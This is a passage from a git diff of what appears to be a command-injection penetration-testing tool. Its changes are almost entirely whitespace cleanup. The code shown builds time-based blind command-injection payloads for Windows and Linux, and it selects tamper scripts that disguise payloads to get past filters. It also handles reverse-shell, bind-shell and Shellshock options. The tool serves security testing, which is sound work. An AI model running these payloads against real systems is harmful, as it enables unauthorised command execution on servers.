\"tokens=*\" %i in ('cmd /c " + python_payload + - "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" - + ) - else: + else: if separator == ";" or separator == "%0a": - payload = (separator + + payload = (separator + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\")" + separator + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + - "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + - "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + "fi " ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + - "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\")" + separator + - "[ " + str(ascii_char) + " -eq ${str} ] " + separator + + payload = (ampersand + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\")" + separator + + "[ " + str(ascii_char) + " -eq ${str} ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" ) #if menu.options.data: @@ -406,10 +406,10 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\") ] " + separator + + "[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\") ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" ) - + else: pass @@ -431,52 +431,52 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me if settings.TARGET_OS == settings.OS.WINDOWS: if separator == "|" or separator == "||" : pipe = "|" - payload = (pipe + settings.SINGLE_WHITESPACE + + payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c \"" + - cmd + - "\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + cmd + + "\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + settings.SINGLE_WHITESPACE + + payload = (ampersand + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c \"" + - cmd + - "\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + cmd + + "\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) else: if separator == ";" or separator == "%0a": - payload = (separator + - "str=\"$(" + cmd + ")\"" + separator + - "if [ " + str(ascii_char) + " -ne $str ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + + payload = (separator + + "str=\"$(" + cmd + ")\"" + separator + + "if [ " + str(ascii_char) + " -ne $str ]" + separator + + "then sleep 0" + separator + + "else sleep " + str(timesec) + separator + "fi " ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "sleep 0 " + separator + - "str=\"$(" + cmd + ")\" " + separator + - "[ " + str(ascii_char) + " -eq $str ] " + separator + + payload = (ampersand + + "sleep 0 " + separator + + "str=\"$(" + cmd + ")\" " + separator + + "[ " + str(ascii_char) + " -eq $str ] " + separator + "sleep " + str(timesec) ) - + #if menu.options.data: separator = _urllib.parse.unquote(separator) elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " -ne \"$(" + cmd + ")\" ] " + separator + + "[ " + str(ascii_char) + " -ne \"$(" + cmd + ")\" ] " + separator + "sleep " + str(timesec) - ) + ) else: pass @@ -489,9 +489,9 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt if settings.TARGET_OS == settings.OS.WINDOWS: if separator == "|" or separator == "||" : pipe = "|" - payload = (pipe + settings.SINGLE_WHITESPACE + + payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + - cmd + + cmd + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) @@ -499,29 +499,29 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + settings.SINGLE_WHITESPACE + + payload = (ampersand + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + - cmd + + cmd + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) - else: + else: if separator == ";" or separator == "%0a": - payload = (separator + + payload = (separator + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print($(echo $(" + cmd + ")))\n\")" + separator + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + - "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + - "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + "fi " ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + - "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print($(echo $(" + cmd + ")))\n\")" + separator + - "[ " + str(ascii_char) + " -eq ${str} ] " + separator + + payload = (ampersand + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print($(echo $(" + cmd + ")))\n\")" + separator + + "[ " + str(ascii_char) + " -eq ${str} ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" ) #if menu.options.data: @@ -530,10 +530,10 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print($(echo $(" + cmd + ")))\n\") ] " + separator + + "[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print($(echo $(" + cmd + ")))\n\") ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" ) - + else: pass diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index f8ca732462..dfc82f995e 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -85,7 +85,7 @@ def check_custom_injection_marker(url): # Ignore the Accept HTTP Header if not data.startswith(settings.ACCEPT): _ = False - if _: + if _: settings.WILDCARD_CHAR_APPLIED = True menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL @@ -95,7 +95,7 @@ def check_custom_injection_marker(url): err_msg = "The options '-p' and the custom injection marker (" + settings.WILDCARD_CHAR + ") " err_msg += "cannot be used simultaneously (i.e. only one option must be set)." print(settings.print_critical_msg(err_msg)) - raise SystemExit + raise SystemExit while True: message = "Custom injection marker (" + settings.WILDCARD_CHAR + ") found in " + option +". " @@ -109,12 +109,12 @@ def check_custom_injection_marker(url): elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(procced_option) + common.invalid_option(procced_option) pass def skipping_technique(technique, injection_type, state): - if settings.VERBOSITY_LEVEL != 0 and state != True: + if settings.VERBOSITY_LEVEL != 0 and state != True: debug_msg = "Skipping test the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " print(settings.print_debug_msg(debug_msg)) @@ -134,7 +134,7 @@ def skip_code_injection_tests(): elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(procced_option) + common.invalid_option(procced_option) pass """ @@ -159,7 +159,7 @@ def skip_command_injection_tests(): elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(procced_option) + common.invalid_option(procced_option) pass """ @@ -176,11 +176,11 @@ def mobile_user_agents(): elif mobile_user_agent.lower() == "q": raise SystemExit() else: - common.invalid_option(mobile_user_agent) + common.invalid_option(mobile_user_agent) pass except ValueError: - common.invalid_option(mobile_user_agent) - pass + common.invalid_option(mobile_user_agent) + pass """ Run host OS command(s) when injection point is found. @@ -210,14 +210,14 @@ def check_http_method(url): http_request_method = settings.HTTPMETHOD.GET else: http_request_method = settings.HTTPMETHOD.POST - return http_request_method + return http_request_method """ User aborted procedure """ def user_aborted(filename, url): abort_msg = "User aborted procedure " - abort_msg += "during the " + assessment_phase() + abort_msg += "during the " + assessment_phase() abort_msg += " phase (Ctrl-C was pressed)." print(settings.print_abort_msg(abort_msg)) logs.print_logs_notification(filename, url) @@ -260,7 +260,7 @@ def not_declared_cookies(response): print(settings.SINGLE_WHITESPACE) while True: message = "You have not declared cookie(s), while " - message += "server wants to set its own ('" + message += "server wants to set its own ('" message += str(re.sub(r"(=[^=;]{10}[^=;])[^=;]+([^=;]{10})", r"\g<1>...\g<2>", candidate)) message += "'). Do you want to use those [Y/n] > " set_cookies = common.read_input(message, default="Y", check_batch=True) @@ -268,12 +268,12 @@ def not_declared_cookies(response): menu.options.cookie = candidate break elif set_cookies in settings.CHOICE_NO: - settings.DECLARED_COOKIES = False + settings.DECLARED_COOKIES = False break elif set_cookies in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(set_cookies) + common.invalid_option(set_cookies) pass except (KeyError, TypeError): pass @@ -318,7 +318,7 @@ def load_cmd_history(): warn_msg = "There was a problem loading the history file '" + cli_history + "'." if settings.IS_WINDOWS: warn_msg += " More info can be found at 'https://github.com/pyreadline/pyreadline/issues/30'" - print(settings.print_warning_msg(warn_msg)) + print(settings.print_warning_msg(warn_msg)) """ Get value inside boundaries. @@ -356,7 +356,7 @@ def check_boundaries_value(parameter, value, http_request_method): elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(procced_option) + common.invalid_option(procced_option) pass if menu.options.skip_parameter != None: @@ -385,7 +385,7 @@ def PCRE_e_modifier(parameter, http_request_method): if get_value_inside_boundaries(parameter.split("=")[1]) != parameter.split("=")[1]: while True: message = "It appears that provided value for " + http_request_method + " parameter '" + parameter.split("=")[0] + "' has boundaries. " - message += "Do you want to add the PCRE '" + settings.PCRE_MODIFIER + "' modifier outside boundaries? ('" + message += "Do you want to add the PCRE '" + settings.PCRE_MODIFIER + "' modifier outside boundaries? ('" message += parameter.split("=")[1].replace(settings.INJECT_TAG, settings.WILDCARD_CHAR) + settings.PCRE_MODIFIER[1:2] + "') [Y/n] > " modifier_check = common.read_input(message, default="Y", check_batch=True) if modifier_check in settings.CHOICE_YES: @@ -395,8 +395,8 @@ def PCRE_e_modifier(parameter, http_request_method): elif modifier_check in settings.CHOICE_QUIT: print(settings.SINGLE_WHITESPACE) os._exit(0) - else: - common.invalid_option(modifier_check) + else: + common.invalid_option(modifier_check) pass except Exception as ex: pass @@ -409,7 +409,7 @@ def ignore_anticsrf_parameter(parameter): if any(parameter.lower().count(token) for token in settings.CSRF_TOKEN_PARAMETER_INFIXES): if (len(parameter.split("="))) == 2: info_msg = "Ignoring the parameter '" + parameter.split("=")[0] - info_msg += "' that appears to hold anti-CSRF token '" + parameter.split("=")[1] + "'." + info_msg += "' that appears to hold anti-CSRF token '" + parameter.split("=")[1] + "'." print(settings.print_info_msg(info_msg)) return True @@ -434,7 +434,7 @@ def newline_fixation(payload): payload = payload.replace("\n","%0a") if "\r" in payload: #_ = payload.find("\r\n") + 1 - #payload = _urllib.parse.quote(payload[:_]) + payload[_:] + #payload = _urllib.parse.quote(payload[:_]) + payload[_:] payload = payload.replace("\r","%0d") return payload @@ -537,7 +537,7 @@ def check_for_false_positive_result(false_positive_warning): if settings.VERBOSITY_LEVEL != 0: warn_msg = warn_msg + ".\n" else: - warn_msg = warn_msg +", please wait..." + warn_msg = warn_msg +", please wait..." sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) """ @@ -562,7 +562,7 @@ def total_of_requests(): """ def url_decode(payload): rep = { - "%20": " ", + "%20": " ", "%2B": "+", "\n": "\\n" } @@ -624,8 +624,8 @@ def check_injection_level(): menu.options.level = settings.COOKIE_INJECTION_LEVEL elif menu.options.cookie.split("=")[0] in menu.options.test_parameter: menu.options.level = settings.COOKIE_INJECTION_LEVEL - - # Checking testable HTTP headers for user-agent / referer / host + + # Checking testable HTTP headers for user-agent / referer / host if any(x in menu.options.test_parameter for x in settings.HTTP_HEADERS): menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL @@ -649,7 +649,7 @@ def next_attack_vector(technique, go_back): elif next_attack_vector in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(next_attack_vector) + common.invalid_option(next_attack_vector) pass """ @@ -669,18 +669,18 @@ def escaped_cmd(cmd): """ def remove_empty_lines(content): try: - if content[0] == "\n": + if content[0] == "\n": content = content[1:content.rfind("\n")] if content[-1] == "\n": content = content[:content.rfind("\n")] except IndexError: - pass + pass return content """ Check 'os_shell' options """ -def check_os_shell_options(cmd, technique, go_back, no_result): +def check_os_shell_options(cmd, technique, go_back, no_result): if cmd in settings.SHELL_OPTIONS: if cmd == "?": menu.os_shell_options() @@ -696,7 +696,7 @@ def check_os_shell_options(cmd, technique, go_back, no_result): Procced with file-based semiblind command injection technique, once the user provides the path of web server's root directory. """ -def procced_with_file_based_technique(): +def procced_with_file_based_technique(): while True: message = "Due to the provided '--web-root' option," message += " do you want to procced with the (semi-blind) " @@ -709,7 +709,7 @@ def procced_with_file_based_technique(): elif enable_fb in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(enable_fb) + common.invalid_option(enable_fb) pass """ @@ -720,9 +720,9 @@ def check_reverse_tcp_options(reverse_tcp_option): return 0 elif reverse_tcp_option == "back": return 1 - elif reverse_tcp_option == "os_shell": + elif reverse_tcp_option == "os_shell": return 2 - elif reverse_tcp_option == "bind_tcp": + elif reverse_tcp_option == "bind_tcp": return 3 """ @@ -733,9 +733,9 @@ def check_bind_tcp_options(bind_tcp_option): return 0 elif bind_tcp_option == "back": return 1 - elif bind_tcp_option == "os_shell": + elif bind_tcp_option == "os_shell": return 2 - elif bind_tcp_option == "reverse_tcp": + elif bind_tcp_option == "reverse_tcp": return 3 """ @@ -761,7 +761,7 @@ def continue_tests(err): print(settings.print_warning_msg(warn_msg)) while True: - message = "Do you want to ignore the response HTTP error code '" + str(err.code) + message = "Do you want to ignore the response HTTP error code '" + str(err.code) message += "' and continue the tests? [Y/n] > " continue_tests = common.read_input(message, default="Y", check_batch=True) if continue_tests in settings.CHOICE_YES: @@ -771,7 +771,7 @@ def continue_tests(err): elif continue_tests in settings.CHOICE_QUIT: return False else: - common.invalid_option(continue_tests) + common.invalid_option(continue_tests) pass except AttributeError: pass @@ -784,7 +784,7 @@ def continue_tests(err): def unavailable_option(check_option): warn_msg = "The option '" + check_option + "' " warn_msg += "is not yet supported Windows targets." - print(settings.print_warning_msg(warn_msg)) + print(settings.print_warning_msg(warn_msg)) """ Transformation of separators if time-based injection @@ -797,7 +797,7 @@ def time_based_separators(separator, http_request_method): return separator """ -Information message if platform does not have +Information message if platform does not have GNU 'readline' module installed. """ def no_readline_module(): @@ -806,9 +806,9 @@ def no_readline_module(): err_msg += " Download the" if settings.IS_WINDOWS: err_msg += " 'pyreadline' package (https://pypi.python.org/pypi/pyreadline) or the 'pyreadline3' package (https://pypi.python.org/pypi/pyreadline3) instead." - elif settings.PLATFORM == "mac": - err_msg += " 'gnureadline' package (https://pypi.python.org/pypi/gnureadline)." - print(settings.print_critical_msg(err_msg)) + elif settings.PLATFORM == "mac": + err_msg += " 'gnureadline' package (https://pypi.python.org/pypi/gnureadline)." + print(settings.print_critical_msg(err_msg)) """ Check for incompatible OS (i.e Unix). @@ -840,8 +840,8 @@ def ps_check(): elif ps_check in settings.CHOICE_QUIT: print(settings.SINGLE_WHITESPACE) os._exit(0) - else: - common.invalid_option(ps_check) + else: + common.invalid_option(ps_check) pass """ @@ -857,7 +857,7 @@ def ps_check_failed(): elif ps_check in settings.CHOICE_NO: print(settings.SINGLE_WHITESPACE) os._exit(0) - else: + else: common.invalid_option(ps_check) pass @@ -870,16 +870,16 @@ def check_CGI_scripts(url): if not os.path.isfile(settings.CGI_SCRIPTS ): err_msg = "The pages / scripts list (" + settings.CGI_SCRIPTS + ") is not found" print(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit() if len(settings.CGI_SCRIPTS ) == 0: err_msg = "The " + settings.CGI_SCRIPTS + " list is empty." print(settings.print_critical_msg(err_msg)) raise SystemExit() - with open(settings.CGI_SCRIPTS , "r") as f: + with open(settings.CGI_SCRIPTS , "r") as f: for line in f: line = line.strip() CGI_SCRIPTS.append(line) - except IOError: + except IOError: err_msg = " Check if the " + settings.CGI_SCRIPTS + " list is readable or corrupted." print(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -903,10 +903,10 @@ def check_CGI_scripts(url): elif shellshock_check in settings.CHOICE_QUIT: print(settings.SINGLE_WHITESPACE) os._exit(0) - else: - common.invalid_option(shellshock_check) + else: + common.invalid_option(shellshock_check) pass - + if not _: menu.options.shellshock = False @@ -915,8 +915,8 @@ def check_CGI_scripts(url): """ def check_http_s(url): if settings.SINGLE_WHITESPACE in url: - url = url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)) - + url = url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)) + if settings.CHECK_INTERNET: url = settings.CHECK_INTERNET_ADDRESS else: @@ -929,11 +929,11 @@ def check_http_s(url): url = "http://" + url settings.SCHEME = (_urllib.parse.urlparse(url).scheme.lower() or "http") if not menu.options.force_ssl else "https" else: - err_msg = "Invalid target URL has been given." + err_msg = "Invalid target URL has been given." print(settings.print_critical_msg(err_msg)) raise SystemExit() except ValueError as err: - err_msg = "Problem occurred while parsing target URL." + err_msg = "Problem occurred while parsing target URL." print(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -944,7 +944,7 @@ def check_http_s(url): url = url.replace(_urllib.parse.urlparse(url).scheme, settings.SCHEME) return url - + """ Force the user-defined operating system name. """ @@ -962,12 +962,12 @@ def user_defined_os(): raise SystemExit() """ -Decision if the user-defined operating system name, +Decision if the user-defined operating system name, is different than the one identified by heuristics. """ def identified_os(): - warn_msg = "Heuristics have identified different operating system (" - warn_msg += settings.TARGET_OS + ") than that you have provided." + warn_msg = "Heuristics have identified different operating system (" + warn_msg += settings.TARGET_OS + ") than that you have provided." print(settings.print_warning_msg(warn_msg)) message = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " proceed_option = common.read_input(message, default="C", check_batch=True) @@ -979,7 +979,7 @@ def identified_os(): elif proceed_option.lower() == "q": raise SystemExit() else: - common.invalid_option(proceed_option) + common.invalid_option(proceed_option) pass """ @@ -989,7 +989,7 @@ def third_party_dependencies(): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Checking all required third-party library dependencies." print(settings.print_debug_msg(debug_msg)) - + try: import sqlite3 except ImportError: @@ -1008,7 +1008,7 @@ def third_party_dependencies(): err_msg = "The 'pyreadline' (third-party) library is required " err_msg += "in order to be able to take advantage of the TAB " err_msg += "completion and history support features." - print(settings.print_error_msg(err_msg)) + print(settings.print_error_msg(err_msg)) elif settings.PLATFORM == "posix": try: import gnureadline @@ -1023,21 +1023,21 @@ def third_party_dependencies(): Print the authentiation error message. """ def http_auth_err_msg(): - err_msg = "Use the '--auth-cred' option to provide a valid pair of " - err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\")" - err_msg += " or use the '--ignore-code=401' option to ignore HTTP error 401 (Unauthorized)" + err_msg = "Use the '--auth-cred' option to provide a valid pair of " + err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\")" + err_msg += " or use the '--ignore-code=401' option to ignore HTTP error 401 (Unauthorized)" err_msg += " and continue tests without providing valid credentials." - print(settings.print_critical_msg(err_msg)) + print(settings.print_critical_msg(err_msg)) raise SystemExit() """ -Decision if the user-defined HTTP authenticatiob type, +Decision if the user-defined HTTP authenticatiob type, is different than the one identified by heuristics. """ def identified_http_auth_type(auth_type): - warn_msg = "Heuristics have identified different HTTP authentication type (" + warn_msg = "Heuristics have identified different HTTP authentication type (" warn_msg += auth_type.lower() + ") than that you have provided (" - warn_msg += menu.options.auth_type + ")." + warn_msg += menu.options.auth_type + ")." print(settings.print_warning_msg(warn_msg)) message = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " proceed_option = common.read_input(message, default="C", check_batch=True) @@ -1049,7 +1049,7 @@ def identified_http_auth_type(auth_type): elif proceed_option.lower() == "q": raise SystemExit() else: - common.invalid_option(proceed_option) + common.invalid_option(proceed_option) pass """ @@ -1078,7 +1078,7 @@ def enable_all_enumeration_options(): menu.options.passwords = True """ -Do replacement with the 'INJECT_HERE' tag, +Do replacement with the 'INJECT_HERE' tag, if the wildcard char is provided. """ def wildcard_character(data): @@ -1092,22 +1092,22 @@ def wildcard_character(data): _ = _ + data + "\\n" data = _.rstrip("\\n") if data.count(settings.INJECT_TAG) > 1: - err_msg = "You specified more than one injecton markers. " + err_msg = "You specified more than one injecton markers. " err_msg += "Use the '-p' option to define them (i.e -p \"id1,id2\"). " - print(settings.print_critical_msg(err_msg)) + print(settings.print_critical_msg(err_msg)) raise SystemExit() return data """ Check provided parameters for tests """ -def check_provided_parameters(): - if menu.options.test_parameter or menu.options.skip_parameter: +def check_provided_parameters(): + if menu.options.test_parameter or menu.options.skip_parameter: if menu.options.test_parameter != None : if menu.options.test_parameter.startswith("="): menu.options.test_parameter = menu.options.test_parameter[1:] - settings.TEST_PARAMETER = menu.options.test_parameter.split(settings.PARAMETER_SPLITTING_REGEX) - + settings.TEST_PARAMETER = menu.options.test_parameter.split(settings.PARAMETER_SPLITTING_REGEX) + elif menu.options.skip_parameter != None : if menu.options.skip_parameter.startswith("="): menu.options.skip_parameter = menu.options.skip_parameter[1:] @@ -1143,7 +1143,7 @@ def print_non_listed_params(check_parameters, http_request_method, header_name): non_exist_param = non_exist_param.split(",") if menu.options.level >= settings.COOKIE_INJECTION_LEVEL and \ menu.options.test_parameter != None: - if menu.options.cookie != None: + if menu.options.cookie != None: if settings.COOKIE_DELIMITER in menu.options.cookie: cookies = menu.options.cookie.split(settings.COOKIE_DELIMITER) for cookie in cookies: @@ -1151,22 +1151,22 @@ def print_non_listed_params(check_parameters, http_request_method, header_name): try: non_exist_param.remove(cookie.split("=")[0].strip()) except ValueError: - pass + pass elif menu.options.cookie.split("=")[0] in menu.options.test_parameter: try: non_exist_param.remove(menu.options.cookie.split("=")[0]) except ValueError: pass - - # Remove the defined HTTP headers + + # Remove the defined HTTP headers for http_header in settings.HTTP_HEADERS: - if http_header in non_exist_param: + if http_header in non_exist_param: non_exist_param.remove(http_header) if non_exist_param: non_exist_param_items = ",".join(non_exist_param) warn_msg = "Skipping tests for " - warn_msg += "the provided parameter" + "s"[len(non_exist_param) == 1:][::-1] + " '" + warn_msg += "the provided parameter" + "s"[len(non_exist_param) == 1:][::-1] + " '" warn_msg += non_exist_param_items + "' as" + (' they are', ' it is')[len(non_exist_param) == 1] if menu.options.level >= settings.COOKIE_INJECTION_LEVEL and header_name != "": warn_msg += " not part of the " @@ -1174,8 +1174,8 @@ def print_non_listed_params(check_parameters, http_request_method, header_name): else: warn_msg += " not part of the " warn_msg += http_request_method - warn_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] - warn_msg += (' data', ' request')[http_request_method == settings.HTTPMETHOD.GET] + warn_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + warn_msg += (' data', ' request')[http_request_method == settings.HTTPMETHOD.GET] warn_msg += "." print(settings.print_warning_msg(warn_msg)) @@ -1224,7 +1224,7 @@ def tamper_scripts(stored_tamper_scripts): err_msg += "Use the '--list-tampers' option for listing available tamper scripts." print(settings.print_critical_msg(err_msg)) raise SystemExit() - if not stored_tamper_scripts: + if not stored_tamper_scripts: info_msg = "Loading tamper script" + ('s', '')[len(provided_scripts) == 1] + ": " print(settings.print_info_msg(info_msg)) for script in provided_scripts: @@ -1305,8 +1305,8 @@ def whitespace_check(payload): menu.options.tamper = menu.options.tamper + ",space2ifs" else: menu.options.tamper = "space2ifs" - settings.WHITESPACES[0] = "${IFS}" - + settings.WHITESPACES[0] = "${IFS}" + # Enable the "space2plus" tamper script. elif "+" in _ and payload.count("+") >= 2: if not settings.TAMPER_SCRIPTS['space2plus']: @@ -1315,7 +1315,7 @@ def whitespace_check(payload): else: menu.options.tamper = "space2plus" settings.WHITESPACES[0] = "+" - + # Enable the "space2htab" tamper script. elif "%09" in _: if not settings.TAMPER_SCRIPTS['space2htab']: @@ -1333,8 +1333,8 @@ def whitespace_check(payload): else: menu.options.tamper = "space2vtab" settings.WHITESPACES[0] = "%0b" - - # Default whitespace + + # Default whitespace else : settings.WHITESPACES[0] = "%20" @@ -1344,9 +1344,9 @@ def whitespace_check(payload): if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",multiplespaces" else: - menu.options.tamper = "multiplespaces" + menu.options.tamper = "multiplespaces" settings.WHITESPACES[0] = settings.WHITESPACES[0] * int(count_spaces / 2) - + """ Check for symbols (i.e "`", "^", "$@" etc) between the characters of the generated payloads. """ @@ -1357,14 +1357,14 @@ def other_symbols(payload): if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",rev" else: - menu.options.tamper = "rev" + menu.options.tamper = "rev" # Check for (multiple) backticks (instead of "$()") for commands substitution on the generated payloads. if payload.count("`") >= 2 and settings.TARGET_OS != settings.OS.WINDOWS: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",backticks" else: - menu.options.tamper = "backticks" + menu.options.tamper = "backticks" settings.USE_BACKTICKS == True # Check for caret symbol @@ -1373,7 +1373,7 @@ def other_symbols(payload): if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",caret" else: - menu.options.tamper = "caret" + menu.options.tamper = "caret" # Check for dollar sign followed by an at-sign if payload.count("$@") >= 10 and settings.TARGET_OS != settings.OS.WINDOWS: @@ -1381,7 +1381,7 @@ def other_symbols(payload): if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",dollaratsigns" else: - menu.options.tamper = "dollaratsigns" + menu.options.tamper = "dollaratsigns" # Check for uninitialized variable if len(re.findall(r'\${.*?}', payload)) >= 10 and settings.TARGET_OS != settings.OS.WINDOWS: @@ -1389,7 +1389,7 @@ def other_symbols(payload): if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",uninitializedvariable" else: - menu.options.tamper = "uninitializedvariable" + menu.options.tamper = "uninitializedvariable" # Check for environment variable value variable if payload.count("${PATH%%u*}") >= 2 and settings.TARGET_OS != settings.OS.WINDOWS: @@ -1397,7 +1397,7 @@ def other_symbols(payload): if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",slash2env" else: - menu.options.tamper = "slash2env" + menu.options.tamper = "slash2env" """ Check for (multiple) added back slashes between the characters of the generated payloads. @@ -1409,7 +1409,7 @@ def check_backslashes(payload): if 